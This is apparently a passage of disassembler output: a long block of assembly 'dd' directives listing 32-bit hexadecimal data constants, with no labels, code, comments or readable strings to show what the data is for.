		dd 2CBEEA2Ch, 0EFF8D6h,	7C875BBDh, 71F4042Dh, 0B952AD00h
		dd 8B7D2FE1h, 6329000Ah, 1DC2564Fh, 0F3005EA4h,	0B8CBAEF8h
		dd 1E3C49CDh, 0C0F963BFh, 4C1D2C7Ah, 5828C0DCh,	377EA01Fh
		dd 0D3652400h, 0CA542A40h, 43F1002Fh, 0F2B11DB2h, 0A3F1C6Bh
		dd 0AE798E4Ch, 0A099AFEDh, 0A334D621h, 7C7200BCh, 3AD05F06h
		dd 0FD16DEBFh, 44004AC0h, 7F2CC252h, 14E416DDh,	0D1ED0032h
		dd 693740EAh, 2033D701h, 0A2B22785h, 0DF7ADDh, 872DB690h
		dd 9DAAFAC7h, 28369501h, 669F095Bh, 4506A140h, 61AC0056h
		dd 87D5CDBAh, 480F348Eh, 1CF9154Dh, 0DD4B5C80h,	0C44D090h
		dd 14A2C8B4h, 0D7018768h, 68C5D66Eh, 0D5F47751h, 961505BCh
		dd 122B0F0h, 0EA2B0494h, 0BDF45088h, 7558130Eh,	3AB84089h
		dd 9EF6801h, 124E5C26h,	50D370h, 7F693B88h, 216C1006h
		dd 80DCAB39h, 0E351B508h, 0C015B65Dh, 5E243880h, 2C01F7E5h
		dd 97C5B70Fh, 0BC0189Dh, 0E1BA00E3h, 0F6A003A9h, 15002D94h
		dd 0AE368583h, 0B8AC691Dh, 0DEDF0334h, 7F6DF2C8h, 2138BF8h
		dd 5EFBCA8h, 97FCD5E4h,	0B0EDAC01h, 0CF7E0447h,	0EA21D4h
		dd 0A540E956h, 0E1EB633h, 793F090Eh, 0D38EB3h, 97FBEA13h
		dd 626706C1h, 90E649BEh, 0FD8EB00h, 9EDC8016h, 757B00DDh
		dd 1FDA58FAh, 47F0AD5h,	3C0EFB1Fh, 94380803h, 42600088h
		dd 1BFCB054h, 0F203BB55h, 586FF7B4h, 0C1590043h, 8E6739D2h
		dd 9501C25Eh, 0DF6FDA9h, 0FBE00A51h, 0EBDC0187h, 7ACFB429h
		dd 1BB4432Eh, 8C7C3A88h, 64000779h, 5D039556h, 11E02A52h
		dd 7BC76D1Ah, 246B1101h, 0FCF7F25Fh, 1B74320h, 0F56240E4h
		dd 9F361920h, 0A24AB0h,	6C76F5Eh, 77A44155h, 24307890h
		dd 5D3E8CB8h, 52EF0E9Ch, 0A20069D6h, 0A91BFFF3h, 0FD8C348h
		dd 32AE5F4h, 91D19E02h,	38249A79h, 11F8007Ch, 8160EE10h
		dd 8F0FE789h, 0C00ACDA9h, 9692A65h, 0BEEF0003h,	221401B0h
		dd 0C407CAB1h, 4907FDE7h, 0F177F9A0h, 29BA0087h, 9E90418h
		dd 431F89B2h, 0DB5EFE84h, 5E69B983h, 0BA88D819h, 0E72E0776h
		dd 9F3CA751h, 757D7CC0h
		dd 80600415h, 870CE520h, 11E213A9h, 26FC00B5h, 0CC562897h
		dd 0DC331800h, 9C59888Bh, 3F66073Ah, 61616591h,	3044CF69h
		dd 0B602A215h, 0FEF19801h, 0E6D84009h, 0D16C0326h, 0BBCD2544h
		dd 4F30B000h, 0FA4DB0BFh, 6CF40Dh, 0CD657A66h, 0AD1199A0h
		dd 18AC9C00h, 0F19EFFB8h, 3D8D0017h, 0D778E553h, 0BF2E684Fh
		dd 80E998Eh, 2F407EC5h,	0A069F534h, 3EF90094h, 16D492DBh
		dd 0B50CF709h, 98EB68D5h, 0EE820B7h, 67263007h,	2F44DBCEh
		dd 2DD09497h, 0EF50B88Eh, 2859BCFCh, 0EF818BBh,	0D34616FCh
		dd 0C82F51C0h, 5498AEDFh, 3E1DE298h, 0F589C232h, 976000E2h
		dd 61ECE514h, 751E682Fh, 0F83698CDh, 1F461821h,	80E7777Ch
		dd 0B98A38B7h, 70031C2h, 0D5BB2AF1h, 2924C0h, 37A43516h
		dd 86759742h, 33FEB900h, 6F1CF2A6h, 0B3DB13EDh,	6D300E16h
		dd 2D8B31F8h, 6C09C600h, 1424790Eh, 0E8E31F6Fh,	754C80AEh
		dd 0EB2768D2h, 1189721Eh, 3E387E80h, 0FA1330h, 8FA17B76h
		dd 9A1019E4h, 811B8E0Dh, 0B6DC2896h, 50604861h,	88C0E300h
		dd 0D63FF904h, 0DAA3A602h, 7DEBB2C7h, 370B4C60h, 72819F0Ch
		dd 16305Dh, 50B654A4h, 0A08B9B29h, 0B8DDC01h, 0E1EAB324h
		dd 1E86E5FCh, 4F360837h, 493DE38h, 4074BFCCh, 0A8D9CDEFh
		dd 5E631C49h, 91A50E88h, 29515C00h, 0CC4C5275h,	0DDD60014h
		dd 0CBAB8553h, 552300FBh, 192B28B4h, 2F0245E2h,	0B5EB9581h
		dd 86CC4810h, 7AD407FEh, 0F0552775h, 3C41EFDh, 0A209DC7Eh
		dd 6241B2h, 6ECE646Bh, 7B1200ABh, 0BEC67625h, 4B8BCECh
		dd 64163D00h, 14457444h, 1360160Ch, 89E000EFh, 9F80FEAFh
		dd 69ED800h, 0AABF655Ch, 0BCC100B9h, 78AD9A5h, 30EF8DCh
		dd 2061B89Bh, 0E6596CBh, 8FE300B2h, 5CAAF3C4h, 350088A2h
		dd 0A7D3B543h, 70CAD5h,	0DB6BD686h, 5E26C44Fh, 79A38B00h
		dd 0DA0390C3h, 0BC4C00DEh, 0C94D112Bh, 0CC3F6163h, 0DFFA879Ah
		dd 0EB907721h, 58C7711Ch, 7092873h, 58200BF9h, 0AA258379h
		dd 374E4A00h, 0A1EB9C84h, 8B713BE2h, 17D2BF80h,	0B3B81DDDh
		dd 49A3900h, 0E1761560h, 0CEF2FAh, 0AF949B41h, 4DF13C26h
		dd 0D001A400h, 0DB5743EDh, 0B99507C7h, 60891CD3h, 0E3656A0Eh
		dd 0A370B500h, 773AC807h, 0F2DA0E95h, 0A0A201B9h, 4CC88549h
		dd 20C8CD08h, 871198Dh,	35B8D3EFh, 0C1DC0A60h, 30BAE1CDh
		dd 0E236FE0h, 0D36D3CEAh, 3AD1F982h, 0E2A70068h, 5B83A400h
		dd 0A044E5DFh, 103C0033h, 9BB9AFF8h, 0D700893Ah, 0E082B719h
		dd 0A6A3786Dh, 0A4EA0E20h, 848C3B35h, 293F3CA1h, 0DAAC87F0h
		dd 4363BD38h, 0D8C5C3F4h, 66016E3h, 3DF6026Dh, 32789073h
		dd 0C250CE98h, 79513558h, 0F840864h, 0EAF708CFh, 0CD0014C4h
		dd 0B7D1FE01h, 0CFCA3BE3h, 0C6B8943Ah, 996F4D80h, 24469D41h
		dd 0F5865200h, 2E127987h, 579F3C2Ah, 0E283D301h, 0C4DBFCFBh
		dd 0E300F3A3h, 44E49EAEh, 4FA7B1h, 0CFE22E08h, 49F2B9C5h
		dd 0B8DF7300h, 0F8FACCBAh, 0F47600B7h, 0EAF3B1B6h, 9B00C3CBh
		dd 0CEC2E3ADh, 47EC30h,	6AAE3B6Eh, 0F9904A32h, 0D3FEFB1Eh
		dd 3EF4878h, 0EB14C7F1h, 0C82D9053h, 0F6BD00C3h, 45444E8h
		dd 0B60005E3h, 0CD3994E7h, 56A86DFh, 0F08F8C0Ch, 0CC8047ECh
		dd 0C748C74Eh, 9290C0A2h, 0BB1C7823h, 8A01F7A8h, 0B470A9E5h
		dd 0B2F688ECh, 0DB0A3EE4h, 0AE92CA82h, 40407830h, 0BCA80673h
		dd 1FF0D575h, 0DC4FE93Eh, 0F4A28584h, 21D7C002h, 3B0C8175h
		dd 0D2DC118Ah, 6A90039Dh, 0F3A0E73Fh, 0FFF690Ch, 0F850A9B9h
		dd 2C353A39h, 290A3400h, 0E6E1BF31h, 0F6AF21C0h, 167E75h
		dd 88085CB3h, 83B778F7h, 7F1F1B12h, 30CA0800h, 35E340Dh
		dd 0C3EB6D38h, 4107728Bh, 0F3249EB6h, 0C7BFE257h, 0D0B198BAh
		dd 0DBFC29A3h, 0FCB07FAh, 2DBBE7DCh, 0C89131A1h, 0E2252F9Fh
		dd 0CBF40013h, 1E85B752h, 871AA4C5h, 0B0D19240h, 7A7F21B9h
		dd 0CDE1F9C3h, 0B75000ABh, 9C3C4AC1h, 0D000179Fh, 0DDC6CB81h
		dd 8D6752h, 4F6571AEh, 0C1D40ECh, 3C4C3DE8h, 334B0304h
		dd 0AFC71FD9h, 5DF5AE30h, 0FFD002ADh, 0D2030E4Eh, 0FBB3407Dh
		dd 69A4005Fh, 67A63BD7h, 0BD00327Ah, 0C4C253F5h, 1CB5B1h
		dd 215C6EA1h, 22DAA883h, 0C5FA5805h, 42C0BE92h,	0F452D7A2h
		dd 97B50139h, 0DE4A4D94h, 14A8C0E8h, 0FE95EA00h, 0F678AB3Eh
		dd 0D2000DAh, 9A7F3DA2h, 2800BC7Ch, 8CA6170h, 16286E9h
		dd 4749D521h, 4060A594h, 0D07D50DBh, 716E1900h,	0D60A2377h
		dd 0F8C239BEh, 9D72E01h, 0E983888Dh, 22BF40B3h,	9B3D34C4h
		dd 0FCAF8006h, 0AD071264h, 3CB20058h, 1AD676A2h, 22E6DC6Ah
		dd 4B69FE00h, 9B048048h, 881903B4h, 1835ED92h, 0D337A0A8h
		dd 64111507h, 1BE0468Dh, 60B58Bh, 23E450E0h, 14594821h
		dd 0DBBE4000h, 789CFC54h, 75BF091h, 9212D83Ch, 0E4CF1048h
		dd 0A60F3F7h, 0BFA4295Ah, 4AF23Ch, 904931A9h, 1F540B6h
		dd 0E0937900h, 207D0430h, 77721CEEh, 8B9F9D64h,	0B500D5F2h
		dd 0F7BD2CFBh, 6DF5020Ch, 733483Fh, 0A08A7FD3h,	1234A323h
		dd 0F4EEFF89h, 3E176A96h, 11BC98CDh, 471917h, 0F1F269BFh
		dd 8C00D89Ch, 632D55BDh, 0F032DBDCh, 0B9C2003Fh, 0D5A3F7D0h
		dd 4C003C67h, 0CC446869h, 0F09645h, 0EF92DE91h,	1A07C331h
		dd 8E1D1500h, 0C8C52411h, 0BA130043h, 3B9CF229h, 40ED758Bh
		dd 4A4015B4h, 6092324Ch, 0B4F0B010h, 977D24B9h,	0E2CE0163h
		dd 70249AC7h, 0C878A831h, 5D55DB00h, 0BCFF0A96h, 9F190058h
		dd 0EB3BD67Bh, 609731AEh, 0A14222h, 7AE4907Dh, 0CEC8089h
		dd 0A58A9E00h, 3DA06A98h, 0F5120515h, 0F69DEDh,	7D805398h
		dd 0EB00AF5Ah, 841870B6h, 1C49934h, 31EBC73h, 40D4F927h
		dd 8DF479E0h, 967ECC00h, 7CCF3BFBh, 0B84602C1h,	8347BE17h
		dd 45886055h, 0F489FAEAh, 0F0F0486Ch, 8644007Fh, 118CF14Dh
		dd 661E2429h, 9B986348h, 131921h, 204AD46h, 971B2DD6h
		dd 9C822400h, 5AE4A967h, 58CA0088h, 0DD4FF6D7h,	0F0900A0Fh
		dd 0EE423100h, 62667574h, 11FD00A0h, 4D0B1B99h,	0EDF26554h
		dd 0D768B61Eh, 0D0CDC1C0h, 90F26BD2h, 55C60774h, 0FE06BE65h
		dd 9F62F160h, 72002F9Dh, 0B1DB5AA9h, 4742CE8h, 0CC7F9C67h
		dd 0D868C09Bh, 1C61B269h, 2A66D3A8h, 4DB98AD8h,	3C0314B3h
		dd 0E1E48C75h, 6EA2D800h, 0CD92D423h, 0ADD2A50h, 0C33150BCh
		dd 71890070h, 0C3D7538Eh, 0B9FCB801h, 95DE9800h, 0FAD4F71Ah
		dd 0B2E10064h, 0A46355BCh, 0A9001BA6h, 0ADF6B092h, 42D403h
		dd 0C280CF26h, 0CC93AC65h, 525E4C67h, 0B66F02E0h, 40990150h
		dd 844E77CDh, 9887EC56h, 0C764EB03h, 0F817437Eh, 0FAB106h
		dd 575BC494h, 4EDE583Bh, 5A9E9800h, 0FEB616E2h,	0D19F00CAh
		dd 0EB5D6A18h, 820014B4h, 0EFB13704h, 9A28E7h, 982D0AE6h
		dd 2FBA4232h, 0FC9B8700h, 0C83CA7EDh, 7C25E784h, 0E7CB9AAh
		dd 242165A1h, 90541624h, 67C4BDE4h, 9E037F00h, 12FCA9BBh
		dd 0EEC00198h, 5D31F30Ah, 7510D859h, 0A8B8C90Ch, 3350DCh
		dd 4F40B226h, 0F4962816h, 82A52001h, 7843D995h,	1701B833h
		dd 1FE07AD1h, 1E143435h, 5FF7A300h, 6A8F9166h, 4B70146Eh
		dd 9601DAA9h, 55C124C8h, 8DA88141h, 278B013Fh, 386BBB30h
		dd 7E3DE972h, 52105A89h, 94BC4C20h, 2113D451h, 5C407993h
		dd 97917718h, 8FD80558h, 0AB81C50Fh, 92CD1AC1h,	13AE1824h
		dd 5D94E3h, 5F285F8h
		dd 9A0FCC87h, 8E88663Bh, 0F15800E0h, 98D35F50h,	150B0020h
		dd 0E31FBE7Eh, 18000536h, 0D601DF0Eh, 60788E94h, 65F32967h
		dd 2B0DC6DAh, 0A9AC27CBh, 1E9E93DCh, 41902D23h,	0A710EF3Eh
		dd 171AE0BDh, 0F30195FEh, 4656A421h, 208039CCh,	0B45F5991h
		dd 202FAE0h, 8BD744B0h,	0EE1C406Dh, 86A0001Eh, 0ED7F0FC5h
		dd 4600DF43h, 0EDB4D5Ah, 0D14E5Dh, 0FE414B62h, 16CBE782h
		dd 811F573Fh, 481877E6h, 41F09065h, 11DC5Eh, 3C0B9F81h
		dd 0ED00FDC9h, 4F5CD60Fh, 7BE744h, 0FEBE50C2h, 95633441h
		dd 39C193FAh, 1CE6D20Fh, 3E9B30h, 24A80931h, 5FC0DBFEh
		dd 80685038h, 0CFCAF525h, 0CAF12B6h, 0C9DC45A8h, 0D3034C20h
		dd 0F148F77Ch, 5E3080DBh, 4331000Dh, 7A197765h,	4B00246Ah
		dd 0DE9AECC8h, 9B7D581h, 74CE4127h, 0F9586000h,	0F3BFDD8h
		dd 0BF800023h, 1D961BE6h, 0BB650056h, 0E3171150h, 92009E60h
		dd 0C7C33DF3h, 1EBF0773h, 9E10E6E4h, 8F05FF6Bh,	802F4106h
		dd 0AE7B43B6h, 30A31D07h, 0F70E016h, 5513A8h, 0E26E4708h
		dd 0C0A70CA1h, 801ED83Dh, 0B825DFA9h, 0FC3FF985h, 0C73B0E33h
		dd 9A200CC3h, 0BB58782Ch, 18042F72h, 0E28D3E4Fh, 7B6C8780h
		dd 15940B0Ah, 0CAD03086h, 9EC0ED12h, 0DF82A833h, 31BD0039h
		dd 0F413F7h, 0F24411B5h, 34D50809h, 7F804C00h, 0B6D9B1C0h
		dd 47D3001Dh, 96E7FCC4h, 7006217h, 0CB45D8F4h, 0CA6D6Fh
		dd 0D51DC5Fh, 0ECB4270Ah, 93869700h, 0DBA4034Eh, 6301FE1Bh
		dd 3717713Fh, 0B64A0800h, 1C071348h, 0F0E3E810h, 1818DE28h
		dd 0A25D1018h, 0F078F640h, 99BB0010h, 50FD0234h, 0A00B244h
		dd 0E4429715h, 6C45BD0h, 8B6F5338h, 0C3506007h,	789F74DAh
		dd 0D95918F5h, 5A5D70B3h, 0F5FE1290h, 72484960h, 3B195773h
		dd 0FD80D5B4h, 3A761BABh, 0FAECA211h, 0FFCD250Ch, 7D2086h
		dd 2E580334h, 0F85A9AE5h, 53972F00h, 36377F74h,	691F1323h
		dd 0F16918BFh, 0FEFA7A63h, 860712B0h, 16C8B85Ch, 0DCF12380h
		dd 38900043h, 39BA91F9h, 7F3EF44Bh, 6785002Eh, 41508ED8h
		dd 0E8CCF39Ah, 0C660018h, 0B371CC1Bh, 1F00E586h, 64D275ACh
		dd 0B58D8Bh, 0DA5B7A52h, 0B9770B15h, 0C8CA1D3Eh, 0DC16094Eh
		dd 0C86200B3h, 317FF2h,	8C1424D1h, 22478BEBh, 280F660Fh
		dd 0A1F8204Eh, 0C7185Dh, 0E78E646Dh, 34C23E2Ah,	5E2848h
		dd 14A1BE9Bh, 2DB34Bh, 92104C2Ch, 6D2AFACCh, 1E52791Fh
		dd 0ACD4F280h, 5CA3D9Bh, 0CB74C535h, 4295C05Dh,	2509E810h
		dd 80023F3Ch, 5F17C168h, 0A66700D4h, 0C8B5862Dh, 0D300F6F7h
		dd 2E2F6A1Ah, 8834C0h, 23DF31BCh, 9A825FBEh, 1C0DB50Eh
		dd 0DDEA406Ah, 446B924h, 0AFCB48A4h, 2E08014h, 0F500FADEh
		dd 89FF1AF0h, 1E864BCh,	3EA67CC4h, 0EC4E05E4h, 0EB589C4Ch
		dd 0BEF3019Ah, 6AB39F33h, 0C830AAC9h, 0E865002Eh, 0FE2B1CE1h
		dd 0DF0E49B9h, 0E17DC75Bh, 4637A4A2h, 78552B60h, 0F0A02D7h
		dd 78EAB773h, 489E060h,	6D037D07h, 0E50008F1h, 6013074Ah
		dd 0A89D21FDh, 2E23984h, 0A90021ECh, 0D7E22CAh,	0E47A063Fh
		dd 0F69476E0h, 85C707C1h, 30F83D10h, 96A4C2C0h,	7945910Fh
		dd 0E0B66F76h, 8C48E5DAh, 0D5EF0061h, 27159FDBh, 6D01D07Ch
		dd 4CCF9BADh, 84702E8Eh, 0E8A200D5h, 0E630F4D7h, 73009D32h
		dd 53CEC8A8h, 488608h, 882E61E3h, 0BB6692A3h, 6B291B00h
		dd 5CEA7A89h, 8CA15DD8h, 32700B0Eh, 0E3C2065Fh,	0A001D8C8h
		dd 0F612EDE6h, 7DDC7C61h, 4DFC0FA6h, 0F0CB3EBAh, 12CE9C00h
		dd 4375E867h, 0F62EDAB0h, 0D980B4F5h, 628871F3h, 0EB51018Dh
		dd 128796DFh, 1F32C4A7h, 678E1C00h, 515A6E7Dh, 26D11DE9h
		dd 0AF3140E0h, 669B9C09h, 0FD3C6B01h, 68232DF3h, 54985C80h
		dd 62091044h, 9F1D2871h, 0E3E687CFh, 0C17ECD00h, 72B9044Ah
		dd 66F26Ch, 0A672C3F0h,	39BC4C0Eh, 58E5A100h, 33924F03h
		dd 0CBDF1441h, 0D600D386h, 0FAAA523Bh, 39EA9F20h, 0D28D660Eh
		dd 69C07F3Ah, 0A95643CAh, 0BE8700ECh, 0A8B205B4h, 5C004D31h
		dd 93580737h, 0A527BB3h, 4F81D718h, 8C390488h, 20E51E4Bh
		dd 8358DB98h, 0B885000Dh, 9DC5E2A7h, 46031C38h,	636FDECAh
		dd 0F5E7F05Dh, 747AD0h,	3EB28323h, 0E5A41173h, 5F2AEB02h
		dd 5895EA2Bh, 20E70008h, 1D883C6Fh, 92001BAFh, 0DCA42ABBh
		dd 0F3B87h, 3DB837BAh, 774C35BEh, 5B892F00h, 55C2EDD3h
		dd 4941015Dh, 0F364C694h, 63B888AFh, 0C6989C51h, 40B26B76h
		dd 0F003093Ah, 0EA00D0EAh, 0E761B922h, 90F11C31h, 46BD0008h
		dd 8A93F926h, 0CA58C055h, 0C5E18024h, 1D15B54Dh, 0EC40336Ch
		dd 0B3BE0EFCh, 692DA701h, 0BFC4205Dh, 79012A77h, 6307844Bh
		dd 0C43449EAh, 0F2A60092h, 7E9EF04Fh, 0BDFE4390h, 5989DA5Ch
		dd 6CD112F4h, 736F6400h, 0E7D0B5Dh, 71B7501Bh, 95E22542h
		dd 0CEB0FD7h, 9330EBh, 0A3742223h, 0F95FE127h, 0D400A974h
		dd 10EE0CDDh, 1F358B6h,	118DF807h, 608587FEh, 13023E66h
		dd 6C692E6Fh, 0CB9F60BCh, 1738F4E0h, 6258FFh, 125FBC8h
		dd 80003322h, 0C7BF2931h, 6DB2DCh, 0A0B50267h, 0BBE9152Ch
		dd 2E2E86FEh, 7100B1ACh, 90DE751Ah, 55810087h, 21EB7F39h
		dd 0A2002CF6h, 6449C468h, 30D458C7h, 0AAA041C3h, 1800DEE8h
		dd 522EDC2h, 3B9291A0h,	84007EDAh, 0BF1C713Bh, 21592EFDh
		dd 283304DCh, 0CC878ECBh, 1870CB0h, 628D0006h, 434044AEh
		dd 9E012703h, 5642D782h, 0E270E5FFh, 0E461385Dh, 5239780Eh
		dd 3F5B40FFh, 1ED6ECE9h, 0CDED6C00h, 538FEBAFh,	57105DBh
		dd 0E14C14h, 5FDDAE88h,	12072F1Ah, 0B72427C0h, 2DA91DCh
		dd 986354C4h, 448ACD9h,	0A218048Dh, 0DA1168C0h,	8E90003Dh
		dd 0D734D15Bh, 7E0FBB7Ah, 806D2B8Ch, 15DEEB53h,	0CF39F056h
		dd 73E20F30h, 6449913Fh, 0B0B82843h, 0B0CD09Ah,	0BA1DDAFh
		dd 0B6611848h, 0AA5B6C00h, 651D29D1h, 0A9A20079h, 10EDD689h
		dd 200005D4h, 0D00BF46Dh, 810A70h, 0D999A9DDh, 718042C8h
		dd 0FF59F307h, 0E561A32Bh, 69D4D535h, 0B1C7593h, 53626487h
		dd 12C21180h, 2903C633h, 5BAF3ABBh, 0D08F808Ch,	2A670120h
		dd 35FF5AC1h, 5255609Ah, 22FB9D00h, 0E97DAB64h,	0C4AC00BCh
		dd 593A0692h, 0F60E43B5h, 80C3BFB8h, 97B62EA3h,	4D769Dh
		dd 0A7890FF7h, 0A1EACC60h, 4822D900h, 0C73B5D2Fh, 278B0041h
		dd 762894DDh, 420008A2h, 0B7A422EEh, 3989F70h, 0FE0F7ECCh
		dd 57B832B3h, 0FB006097h, 1E356E23h, 7140736Dh,	79E37066h
		dd 10B0072h, 0A9142544h, 6AE0B05Ah, 0ED53E00h, 0F91631D6h
		dd 112C1EF0h, 0C94841F4h, 0C62ECA4Ah, 0FDD920E3h, 0DDC5005h
		dd 100D577h, 1FA2DC9Ch,	2B53D1h, 0A86503FCh, 76F3E444h
		dd 58784316h, 0DB8ABF00h, 0BD061Bh, 1DE2DEACh, 81D9C14Ah
		dd 0A51324EEh, 0D8809255h, 0B0768BFCh, 51EB00AAh, 0B7C679FAh
		dd 7524C9EFh, 0B2809448h, 65E240E7h, 0EEFC0013h, 9727241Dh
		dd 0C4094645h, 48B5BFD3h, 0A03BCB14h, 0E0ACE1Ch, 2B74F1Fh
		dd 0D382C28Eh, 108271C9h, 1C80EBBCh, 5B1D8EBDh,	36C43Ah
		dd 4F41A852h, 2B4103Ch,	0A4E4E0C3h, 8440B635h, 3D00D9BCh
		dd 0CC5521EEh, 2E2CC027h, 0A8357h, 5EF21C63h, 0B575C708h
		dd 2CB41E3Bh, 6F80C8F3h, 0F73CBC29h, 1D0603C3h,	0CA9B0B88h
		dd 807C2842h, 70B640CFh, 2E071D13h, 28111478h, 372CEE80h
		dd 0DC02F824h, 42BF167Ch
		dd 4AD580CCh, 0D73178h,	2D0EAEBCh, 24409E5Dh, 0B518AC00h
		dd 0E7E99D04h, 0C134004Dh, 692561D2h, 45006A97h, 0F5672EDDh
		dd 57964Fh, 7D7BF005h, 619E723Bh, 60036226h, 0CA700448h
		dd 0B3DE00B6h, 0B1AC5A22h, 4D0095F3h, 0EFF74BD7h, 0FE9B29Bh
		dd 1DD9115h, 4707A740h,	0FC0C19DAh, 4836F5BEh, 1BB700C3h
		dd 80385F15h, 7B03624Ah, 474601EEh, 6FCAD845h, 3121C003h
		dd 4DC34E63h, 8420BF53h, 74601891h, 63EC3CB9h, 93B93260h
		dd 0E14B459h, 3F12881Ch, 8F0809D9h, 4041F321h, 0CCB1FBE5h
		dd 0FC1A020Dh, 0D4C54B6Ch, 0E517C890h, 8E567100h, 763D96EFh
		dd 2008C9FFh, 0D51A420h, 6D007372h, 0F0BCD89Fh,	28831A1Bh
		dd 6904E82h, 0A38040FFh, 0B23DB80Eh, 0BDFE0CFDh, 30084155h
		dd 199130B8h, 0C21552CCh, 3EBC15EFh, 3AD90C57h,	211113Dh
		dd 0B76A8A5Ch, 5C411F5Ah, 1A089832h, 1F447221h,	0C0C2258Ah
		dd 0F39B5AA8h, 59E81C74h, 0C905260h, 60BD0346h,	3A8C8115h
		dd 819711Ah, 3C89FDCAh,	0B25100CBh, 0F585E407h,	2800EC79h
		dd 72F909C6h, 0F43A594Ch, 2830E84Fh, 15F87F5Ch,	0C0463CB8h
		dd 11B44480h, 1343401Ch, 0F43D8F22h, 0A075004Ch, 0B0B6C579h
		dd 0BC2F0356h, 43D19B19h, 0BD00B074h, 3DD32A5Bh, 2449B4F6h
		dd 13348F20h, 0DF989063h, 8800E0C9h, 0DBFFB555h, 310BFA54h
		dd 3C711A66h, 54D1AC37h, 0FCB1A300h, 94E2EF5Dh,	0DF383024h
		dd 1D12F6C1h, 240812F3h, 0B453C061h, 0B8461BE6h, 0F53DA922h
		dd 7743005Bh, 0F25E8EB9h, 35760BC4h, 4D863172h,	0E13FB095h
		dd 20EF2732h, 0FD4E2AF8h, 0AEC40657h, 81CBF328h, 0CE214D6Fh
		dd 2B6740C5h, 148DAF46h, 841093B0h, 26CB8000h, 2E4BD5D8h
		dd 1B6DC87Ch, 44E9C918h, 0C01A3360h, 7478EB49h,	1D00260Fh
		dd 45B4EAC5h, 4F36A67h,	0ABECACF5h, 0C07080D3h,	48C515C3h
		dd 9820063Ch, 1671745h,	870FEC93h, 0C866686Eh, 63481B73h
		dd 0C3AF8018h, 2EE011h,	42239744h, 0BDF5665Dh, 8571321Fh
		dd 7D5CE7C0h, 902D77B8h, 4427C84h, 0F2D425C2h, 0E1FB004Ah
		dd 1E46B42Ah, 0C0AA88D9h, 2606EFCDh, 4C0C6B11h,	7105C008h
		dd 0A102603Ch, 2151E5AFh, 0EF284800h, 1E27C36Ch, 0D69A0199h
		dd 9867EC05h, 62AC51C2h, 0A4418002h, 700145ADh,	6760053h
		dd 0F9AA1C88h, 3F01A578h, 35E103ABh, 3183FF64h,	0E914300Ch
		dd 261D5CC0h, 83BAB300h, 0F6B54CC8h, 29016163h,	0F0FEBBEAh
		dd 2800DD7Eh, 2C164F04h, 40FF2D3h, 761820BCh, 4720D08Eh
		dd 0FA00C0DBh, 6F4EC7E3h, 388FC08h, 0AFCB62F0h,	0F8045F5Ah
		dd 3B0CF76Ah, 85900CCh,	62B74D8Ah, 8B4018C4h, 8FBE8A60h
		dd 8714C2E8h, 0B81703h,	2E3C8D47h, 901DF1FBh, 4D6D72ACh
		dd 88174C8h, 0FE8E5372h, 1042071Ch, 7182F372h, 8706D730h
		dd 0A343C719h, 0CAB068E7h, 2EE8BB4h, 0A0C149ABh, 410D54h
		dd 0C079E4D1h, 0EF06E27Ah, 10B4FE3Dh, 443C9041h, 0CC042E32h
		dd 14BBD08Bh, 0F6D17488h, 0C1B1C8D6h, 5A7211C0h, 970F218Eh
		dd 35001F91h, 0E48F71D9h, 55762B38h, 1070CC00h,	17B7C1EEh
		dd 0D48CA013h, 6331C001h, 96530FB4h, 5792E102h,	81854AF8h
		dd 0C4E7814h, 19D04860h, 0A06CCFBDh, 76B98234h,	892065CBh
		dd 8C9C90ACh, 9C8905Ah,	5B32E2E0h, 0FD4DFC30h, 0A6C45811h
		dd 0FC9F4E88h, 0EB8EFD42h, 12A540C3h, 0D993191Ah, 60566024h
		dd 12846B94h, 0B09EBF08h, 9B181A3Ch, 8C282BEDh,	19A334C0h
		dd 446882A8h, 8B45A30h,	13501C07h, 0F247AC64h, 4BC7A042h
		dd 537AD3BDh, 2126B1EEh, 0DF0C649Bh, 2337111h, 1A59B806h
		dd 2C4641CBh, 2171A099h, 0CE5C5918h, 710E00CCh,	8C1F0BD8h
		dd 0F6550B6Bh, 3882E28Eh, 15214C05h, 6181B3B8h,	0DFBADCE7h
		dd 2146661h, 40923FC5h,	39E300FBh, 0C12EA02Fh, 0F3BB8B3h
		dd 0C0144274h, 46A9986Ch, 313B2865h, 46B898A8h,	8A5D02D8h
		dd 3142B769h, 457F1005h, 91D1008Ah, 0D5BAFE6Dh,	4705A7ADh
		dd 44D4BD6Eh, 9FFB04C0h, 0D9012CE9h, 4D6D086Ch,	44465D01h
		dd 845008D4h, 0E0A90BB7h, 36613B8Eh, 0D7068C80h, 60BB5CADh
		dd 6C589D2Ch, 68C0F61Eh, 0C213481Ch, 7A830D43h,	0C8E83380h
		dd 0DC0226B3h, 91931C59h, 869C40F9h, 6EC224EBh,	84E1848h
		dd 4C12547Dh, 384043EFh, 0ED35BF70h, 0DADD00F9h, 8F4D1145h
		dd 1AF8B08Bh, 48502092h, 48CC4ECh, 8E477214h, 200362F7h
		dd 0FB71DC36h, 0C91BC05h, 0D88C8110h, 8016433h,	7098883Bh
		dd 0E5F5AE00h, 0C2DB5950h, 0C0149842h, 0FB9BF9A1h, 88907B2Bh
		dd 68019490h, 0E4165944h, 71800BD4h, 65BE880Fh,	8D018F05h
		dd 97A71DC2h, 625F47h, 0CA32C105h, 0DF488E5h, 12F0D090h
		dd 3B8C6B50h, 95FB1C0Ah, 0F805D038h, 805F87ACh,	2A187024h
		dd 0FE9C5B19h, 28F0BA21h, 3314A88Ch, 76D1343Ch,	0C0D86280h
		dd 7EB62858h, 2C27782Eh, 0AC4674h, 67F06A2Dh, 14B77B10h
		dd 0F8370491h, 915733Fh, 8E0680FFh, 880203C8h, 1289760Ch
		dd 957182Bh, 0CA77684Ah, 87E94040h, 442E2896h, 0A4C3B08h
		dd 80B81BEEh, 2CE1720Ch, 0BB000ABEh, 6489959h, 50B1DDFh
		dd 0FB7E73BDh, 0C84C8B57h, 46E1C005h, 8D166B71h, 0D066ACEh
		dd 7EC102D4h, 5D6900FAh, 4D8373A9h, 55001BDDh, 6CE3131Ch
		dd 0F0572C7h, 0D02DDF7Dh, 69E8172Ch, 0F5100901h, 705357B8h
		dd 0EBF2F880h, 0C1F75FA6h, 27B673Ah, 81CA385Eh,	0CBE1246Ah
		dd 0C053C8C8h, 6891D58Dh, 3B58ECEAh, 0B7B380B8h, 1F9F703Eh
		dd 40C0A2C3h, 0A7E995BDh, 88909463h, 0CAEFB501h, 1A374FB7h
		dd 8218C060h, 0A7D5D040h, 830EB48h, 5299993h, 0D70BB08Eh
		dd 0E89C0E8h, 370088DDh, 1475CA6Ah, 2768D8Ch, 9DEA2949h
		dd 8CC56CA6h, 83601DE4h, 500804Fh, 1BFF2410h, 0C1514593h
